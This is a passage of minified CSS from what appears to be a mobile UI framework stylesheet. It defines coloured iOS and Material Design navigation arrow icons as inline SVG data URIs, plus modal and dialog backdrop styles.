.icon-back.color-orange,.ios .icon-prev.color-orange,.ios a.link.color-orange .icon-back,.ios a.link.color-orange .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .icon-forward,.ios .color-theme-orange .icon-next,.ios .icon-forward.color-orange,.ios .icon-next.color-orange,.ios a.link.color-orange .icon-forward,.ios a.link.color-orange .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .icon-back,.ios .color-theme-gray .icon-prev,.ios .icon-back.color-gray,.ios .icon-prev.color-gray,.ios a.link.color-gray .icon-back,.ios a.link.color-gray .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .icon-forward,.ios .color-theme-gray .icon-next,.ios .icon-forward.color-gray,.ios .icon-next.color-gray,.ios a.link.color-gray .icon-forward,.ios a.link.color-gray .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .icon-back,.ios .color-theme-white .icon-prev,.ios .icon-back.color-white,.ios .icon-prev.color-white,.ios a.link.color-white .icon-back,.ios a.link.color-white .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .icon-forward,.ios .color-theme-white .icon-next,.ios .icon-forward.color-white,.ios .icon-next.color-white,.ios a.link.color-white .icon-forward,.ios a.link.color-white .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .icon-back,.ios .color-theme-black .icon-prev,.ios .icon-back.color-black,.ios .icon-prev.color-black,.ios a.link.color-black .icon-back,.ios a.link.color-black .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .icon-forward,.ios .color-theme-black .icon-next,.ios .icon-forward.color-black,.ios .icon-next.color-black,.ios a.link.color-black .icon-forward,.ios a.link.color-black .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .icon.color-red{color:#ff3b30}.ios .icon.color-green{color:#4cd964}.ios .icon.color-blue{color:#007aff}.ios .icon.color-pink{color:#ff2d55}.ios .icon.color-yellow{color:#fc0}.ios .icon.color-orange{color:#ff9500}.ios .icon.color-gray{color:#8e8e93}.ios .icon.color-white{color:#fff}.ios .icon.color-black{color:#000}.md .icon-back{width:24px;height:24px}.md .icon-forward{width:24px;height:24px}.md .icon-next,.md .icon-prev{width:24px;height:24px}.md .item-media .icon{color:#737373}.md .item-media .material-icons{font-size:24px;width:24px;height:24px}.md .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-red,.md a.link .color-red .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-red,.md a.link .color-red .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-red,.md a.link .color-red .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-red,.md a.link .color-red .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-green,.md a.link .color-green .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-green,.md a.link .color-green .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-green,.md a.link .color-green .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-green,.md a.link .color-green .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-blue,.md a.link .color-blue .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-blue,.md a.link .color-blue .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-blue,.md a.link .color-blue .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-blue,.md a.link .color-blue .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-pink,.md a.link .color-pink .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-pink,.md a.link .color-pink .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-pink,.md a.link .color-pink .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-pink,.md a.link .color-pink .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-yellow,.md a.link .color-yellow .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-yellow,.md a.link .color-yellow .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-yellow,.md a.link .color-yellow .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-yellow,.md a.link .color-yellow .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-orange,.md a.link .color-orange .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-orange,.md a.link .color-orange .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-orange,.md a.link .color-orange .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-orange,.md a.link .color-orange .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-gray,.md a.link .color-gray .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-gray,.md a.link .color-gray .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-gray,.md a.link .color-gray .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-gray,.md a.link .color-gray .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-white,.md a.link .color-white .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-white,.md a.link .color-white .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-white,.md a.link .color-white .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-white,.md a.link .color-white .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-black,.md a.link .color-black .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-black,.md a.link .color-black .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-black,.md a.link .color-black .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-black,.md a.link .color-black .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon.color-red{color:#f44336}.md .icon.color-green{color:#4caf50}.md .icon.color-blue{color:#2196f3}.md .icon.color-pink{color:#e91e63}.md .icon.color-yellow{color:#ffeb3b}.md .icon.color-orange{color:#ff9800}.md .icon.color-gray{color:#9e9e9e}.md .icon.color-white{color:#fff}.md .icon.color-black{color:#000}.custom-modal-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.custom-modal-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.custom-modal-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog{position:absolute;z-index:13500;left:50%;margin-top:0;top:50%;overflow:hidden;opacity:0;-webkit-transfor